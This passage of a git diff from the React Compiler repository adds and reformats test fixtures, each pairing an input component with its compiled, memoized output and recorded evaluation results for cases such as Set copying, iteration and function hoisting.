+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray, mutate } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(6);
+  const { propArr } = t0;
+  let s1;
+  let s2;
+  if ($[0] !== propArr[0]) {
+    s1 = new Set([1, 2, 3]);
+    s1.add(makeArray(propArr[0]));
+    s2 = new Set(s1);
+
+    mutate(s2);
+    $[0] = propArr[0];
+    $[1] = s1;
+    $[2] = s2;
+  } else {
+    s1 = $[1];
+    s2 = $[2];
+  }
+  let t1;
+  if ($[3] !== s1 || $[4] !== s2) {
+    t1 = [s1, s2];
+    $[3] = s1;
+    $[4] = s2;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ propArr: [7, 8, 9] }],
+  sequentialRenders: [
+    { propArr: [7, 8, 9] },
+    { propArr: [7, 8, 9] },
+    { propArr: [7, 8, 10] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
+[{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
+[{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.ts
new file mode 100644
index 000000000000..7bd283371e00
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.ts
@@ -0,0 +1,22 @@
+import {makeArray, mutate} from 'shared-runtime';
+
+function useFoo({propArr}: {propArr: Array<number>}) {
+  const s1 = new Set<number | Array<number>>([1, 2, 3]);
+  s1.add(makeArray(propArr[0]));
+
+  const s2 = new Set(s1);
+  // this may also may mutate s1
+  mutate(s2);
+
+  return [s1, s2];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 10]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.expect.md
new file mode 100644
index 000000000000..140459c983b8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+import {makeArray, useHook} from 'shared-runtime';
+
+function useFoo({propArr}: {propArr: Array<number>}) {
+  const s1 = new Set<number | Array<number>>([1, 2, 3]);
+  s1.add(makeArray(propArr[0]));
+
+  useHook();
+  const s2 = new Set();
+  for (const el of s1.values()) {
+    s2.add(el);
+  }
+
+  return [s1, s2];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 10]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { makeArray, useHook } from "shared-runtime";
+
+function useFoo(t0) {
+  const { propArr } = t0;
+  const s1 = new Set([1, 2, 3]);
+  s1.add(makeArray(propArr[0]));
+
+  useHook();
+  const s2 = new Set();
+  for (const el of s1.values()) {
+    s2.add(el);
+  }
+
+  return [s1, s2];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ propArr: [7, 8, 9] }],
+  sequentialRenders: [
+    { propArr: [7, 8, 9] },
+    { propArr: [7, 8, 9] },
+    { propArr: [7, 8, 10] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
+[{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
+[{"kind":"Set","value":[1,2,3,[7]]},{"kind":"Set","value":[1,2,3,"[[ cyclic ref *2 ]]"]}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.ts
new file mode 100644
index 000000000000..63574c4bc3af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.ts
@@ -0,0 +1,24 @@
+import {makeArray, useHook} from 'shared-runtime';
+
+function useFoo({propArr}: {propArr: Array<number>}) {
+  const s1 = new Set<number | Array<number>>([1, 2, 3]);
+  s1.add(makeArray(propArr[0]));
+
+  useHook();
+  const s2 = new Set();
+  for (const el of s1.values()) {
+    s2.add(el);
+  }
+
+  return [s1, s2];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 10]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.expect.md
new file mode 100644
index 000000000000..8c66b1f67885
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = new Set(arr).forEach(mutateAndReturn);
+  return <Stringify>{[...derived]}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutateAndReturn, Stringify, useIdentity } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(2);
+  const { value } = t0;
+  const arr = [{ value: "foo" }, { value: "bar" }, { value }];
+  useIdentity();
+  const derived = new Set(arr).forEach(mutateAndReturn);
+  let t1;
+  if ($[0] !== derived) {
+    t1 = <Stringify>{[...derived]}</Stringify>;
+    $[0] = derived;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }, { value: 7 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: derived is not iterable ]]
+[[ (exception in render) TypeError: derived is not iterable ]]
+[[ (exception in render) TypeError: derived is not iterable ]]
+[[ (exception in render) TypeError: derived is not iterable ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.tsx
new file mode 100644
index 000000000000..b5d558e92888
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.tsx
@@ -0,0 +1,14 @@
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = new Set(arr).forEach(mutateAndReturn);
+  return <Stringify>{[...derived]}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.expect.md
index 0e5726253d69..d3bd149d3587 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.js
index 8df1d8d64bc8..556c9fb680f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.expect.md
index f6cd48cb6033..6aaccb79173f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.js
index 88a0d9d480b8..5272b0fccab0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.expect.md
index 413bcc0cb9a6..5c4978bd2906 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.js
index 6d4ee1ec370a..816167350f79 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.expect.md
index 7e0f341a018f..be7f3f1bd28d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { useState as _useState, useCallback, useEffect } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useState as _useState, useCallback, useEffect} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function useState(value) {
   const [state, setState] = _useState(value);
@@ -11,9 +11,9 @@ function useState(value) {
 }
 
 function Component() {
-  const [state, setState] = useState("hello");
+  const [state, setState] = useState('hello');
 
-  return <div onClick={() => setState("goodbye")}>{state}</div>;
+  return <div onClick={() => setState('goodbye')}>{state}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
@@ -56,10 +56,10 @@ function Component() {
     t0 = $[1];
   }
   let t1;
-  if ($[2] !== t0 || $[3] !== state) {
+  if ($[2] !== state || $[3] !== t0) {
     t1 = <div onClick={t0}>{state}</div>;
-    $[2] = t0;
-    $[3] = state;
+    $[2] = state;
+    $[3] = t0;
     $[4] = t1;
   } else {
     t1 = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.js
index eae6be5fec5a..ad0660fd625e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.js
@@ -1,5 +1,5 @@
-import { useState as _useState, useCallback, useEffect } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useState as _useState, useCallback, useEffect} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function useState(value) {
   const [state, setState] = _useState(value);
@@ -7,9 +7,9 @@ function useState(value) {
 }
 
 function Component() {
-  const [state, setState] = useState("hello");
+  const [state, setState] = useState('hello');
 
-  return <div onClick={() => setState("goodbye")}>{state}</div>;
+  return <div onClick={() => setState('goodbye')}>{state}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.expect.md
new file mode 100644
index 000000000000..97a2615f43ce
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+//@flow
+component Foo() {
+  function foo() {
+    return (
+      <div>
+        {a} {z} {y}
+      </div>
+    );
+  }
+  const [a, {x: z, y = 10}] = [1, {x: 2}];
+  return foo();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const foo = function foo() {
+      return (
+        <div>
+          {a} {z} {y}
+        </div>
+      );
+    };
+    const [t1, t2] = [1, { x: 2 }];
+    const a = t1;
+    const { x: t3, y: t4 } = t2;
+    const z = t3;
+    const y = t4 === undefined ? 10 : t4;
+    t0 = foo();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>1 2 10</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.js
new file mode 100644
index 000000000000..a1c52534944b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.js
@@ -0,0 +1,17 @@
+//@flow
+component Foo() {
+  function foo() {
+    return (
+      <div>
+        {a} {z} {y}
+      </div>
+    );
+  }
+  const [a, {x: z, y = 10}] = [1, {x: 2}];
+  return foo();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.expect.md
new file mode 100644
index 000000000000..cbcb4486d92d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+import {CONST_TRUE, useIdentity} from 'shared-runtime';
+
+const hidden = CONST_TRUE;
+function useFoo() {
+  const makeCb = useIdentity(() => {
+    const logIntervalId = () => {
+      log(intervalId);
+    };
+
+    let intervalId;
+    if (!hidden) {
+      intervalId = 2;
+    }
+    return () => {
+      logIntervalId();
+    };
+  });
+
+  return <Stringify fn={makeCb()} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { CONST_TRUE, useIdentity } from "shared-runtime";
+
+const hidden = CONST_TRUE;
+function useFoo() {
+  const $ = _c(4);
+  const makeCb = useIdentity(_temp);
+  let t0;
+  if ($[0] !== makeCb) {
+    t0 = makeCb();
+    $[0] = makeCb;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== t0) {
+    t1 = <Stringify fn={t0} shouldInvokeFns={true} />;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+function _temp() {
+  const logIntervalId = () => {
+    log(intervalId);
+  };
+  let intervalId;
+  if (!hidden) {
+    intervalId = 2;
+  }
+  return () => {
+    logIntervalId();
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) Stringify is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.js
new file mode 100644
index 000000000000..a87a35ddba27
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.js
@@ -0,0 +1,25 @@
+import {CONST_TRUE, useIdentity} from 'shared-runtime';
+
+const hidden = CONST_TRUE;
+function useFoo() {
+  const makeCb = useIdentity(() => {
+    const logIntervalId = () => {
+      log(intervalId);
+    };
+
+    let intervalId;
+    if (!hidden) {
+      intervalId = 2;
+    }
+    return () => {
+      logIntervalId();
+    };
+  });
+
+  return <Stringify fn={makeCb()} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.expect.md
index 60e40eaa592d..debf79ab91ef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.expect.md
@@ -2,23 +2,23 @@
 ## Input
 
 ```javascript
-import { StaticText1, Stringify, identity, useHook } from "shared-runtime";
+import {StaticText1, Stringify, identity, useHook} from 'shared-runtime';
 
 /**
  * `button` and `dispatcher` must end up in the same memo block. It would be
  * invalid for `button` to take a dependency on `dispatcher` as dispatcher
  * is created later.
  */
-function useFoo({ onClose }) {
+function useFoo({onClose}) {
   const button = StaticText1 ?? (
     <Stringify
       primary={{
-        label: identity("label"),
+        label: identity('label'),
         onPress: onClose,
       }}
       secondary={{
         onPress: () => {
-          dispatcher.go("route2");
+          dispatcher.go('route2');
         },
       }}
     />
@@ -31,7 +31,7 @@ function useFoo({ onClose }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ onClose: identity() }],
+  params: [{onClose: identity()}],
 };
 
 ```
@@ -60,6 +60,7 @@ function useFoo(t0) {
   );
 
   const dispatcher = useHook();
+
   return button;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.tsx
index 61ae5c48680c..c08248c413a8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.tsx
@@ -1,20 +1,20 @@
-import { StaticText1, Stringify, identity, useHook } from "shared-runtime";
+import {StaticText1, Stringify, identity, useHook} from 'shared-runtime';
 
 /**
  * `button` and `dispatcher` must end up in the same memo block. It would be
  * invalid for `button` to take a dependency on `dispatcher` as dispatcher
  * is created later.
  */
-function useFoo({ onClose }) {
+function useFoo({onClose}) {
   const button = StaticText1 ?? (
     <Stringify
       primary={{
-        label: identity("label"),
+        label: identity('label'),
         onPress: onClose,
       }}
       secondary={{
         onPress: () => {
-          dispatcher.go("route2");
+          dispatcher.go('route2');
         },
       }}
     />
@@ -27,5 +27,5 @@ function useFoo({ onClose }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ onClose: identity() }],
+  params: [{onClose: identity()}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.expect.md
new file mode 100644
index 000000000000..84b7bd087b04
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+function component(a) {
+  let t = {a};
+  x(t); // hoisted call
+  function x(p) {
+    p.a.foo();
+  }
+  return t;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [
+    {
+      foo: () => {
+        console.log(42);
+      },
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function component(a) {
+  const $ = _c(2);
+  let t;
+  if ($[0] !== a) {
+    t = { a };
+    x(t);
+    function x(p) {
+      p.a.foo();
+    }
+    $[0] = a;
+    $[1] = t;
+  } else {
+    t = $[1];
+  }
+
+  return t;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [
+    {
+      foo: () => {
+        console.log(42);
+      },
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"a":{"foo":"[[ function params=0 ]]"}}
+logs: [42]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.js
new file mode 100644
index 000000000000..6fe6dc04cc97
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.js
@@ -0,0 +1,19 @@
+function component(a) {
+  let t = {a};
+  x(t); // hoisted call
+  function x(p) {
+    p.a.foo();
+  }
+  return t;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [
+    {
+      foo: () => {
+        console.log(42);
+      },
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.expect.md
index 081a10e96725..db1168548bda 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.expect.md
@@ -2,17 +2,17 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function hoisting() {
   function onClick() {
-    return bar["baz"];
+    return bar['baz'];
   }
   function onClick2() {
     return bar[baz];
   }
-  const baz = "baz";
-  const bar = { baz: 1 };
+  const baz = 'baz';
+  const bar = {baz: 1};
 
   return (
     <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />
@@ -39,14 +39,11 @@ function hoisting() {
     const onClick = function onClick() {
       return bar.baz;
     };
-
     const onClick2 = function onClick2() {
       return bar[baz];
     };
-
     const baz = "baz";
     const bar = { baz: 1 };
-
     t0 = (
       <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />
     );
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.js
index 9d9d02eb2a36..f0dca8d788bf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.js
@@ -1,14 +1,14 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function hoisting() {
   function onClick() {
-    return bar["baz"];
+    return bar['baz'];
   }
   function onClick2() {
     return bar[baz];
   }
-  const baz = "baz";
-  const bar = { baz: 1 };
+  const baz = 'baz';
+  const bar = {baz: 1};
 
   return (
     <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.expect.md
new file mode 100644
index 000000000000..4c032f697f0c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+/**
+ * We currently hoist the accessed properties of function expressions,
+ * regardless of control flow. This is simply because we wrote support for
+ * function expressions before doing a lot of work in PropagateScopeDeps
+ * to handle conditionally accessed dependencies.
+ *
+ * Current evaluator error:
+ *  Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
+ *  Forget:
+ *  (kind: exception) Cannot read properties of null (reading 'prop')
+ */
+function Component({obj, isObjNull}) {
+  const callback = () => {
+    if (!isObjNull) {
+      return obj.prop;
+    } else {
+      return null;
+    }
+  };
+  return <Stringify shouldInvokeFns={true} callback={callback} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{obj: null, isObjNull: true}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+/**
+ * We currently hoist the accessed properties of function expressions,
+ * regardless of control flow. This is simply because we wrote support for
+ * function expressions before doing a lot of work in PropagateScopeDeps
+ * to handle conditionally accessed dependencies.
+ *
+ * Current evaluator error:
+ *  Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
+ *  Forget:
+ *  (kind: exception) Cannot read properties of null (reading 'prop')
+ */
+function Component(t0) {
+  const $ = _c(3);
+  const { obj, isObjNull } = t0;
+  let t1;
+  if ($[0] !== isObjNull || $[1] !== obj) {
+    const callback = () => {
+      if (!isObjNull) {
+        return obj.prop;
+      } else {
+        return null;
+      }
+    };
+    t1 = <Stringify shouldInvokeFns={true} callback={callback} />;
+    $[0] = isObjNull;
+    $[1] = obj;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ obj: null, isObjNull: true }],
+};
+
+```
+      
+### Eval output
